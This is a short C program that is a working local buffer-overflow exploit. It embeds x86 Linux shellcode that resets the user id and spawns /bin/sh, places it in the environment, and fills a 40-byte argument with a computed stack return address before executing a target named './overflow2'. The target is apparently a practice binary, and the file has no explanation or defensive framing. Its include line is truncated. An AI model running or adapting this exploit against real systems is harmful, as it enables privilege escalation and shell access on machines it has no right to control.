#include char shellcode[]= "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; int main(int argc, char *argv[]) { char *env[2] = {shellcode, NULL}; int i; long ret, *addr_ptr; char *buffer, *ptr; buffer = malloc(40); ret = 0xbffffffa - strlen(shellcode) - strlen("./overflow2"); ptr = buffer; addr_ptr = (long *)ptr; for(i=0; i<40; i+=4) { *(addr_ptr++) = ret; } buffer[40-1] = 0; execle("./overflow2", "overflow2", buffer, 0, env); free(buffer); return 0; }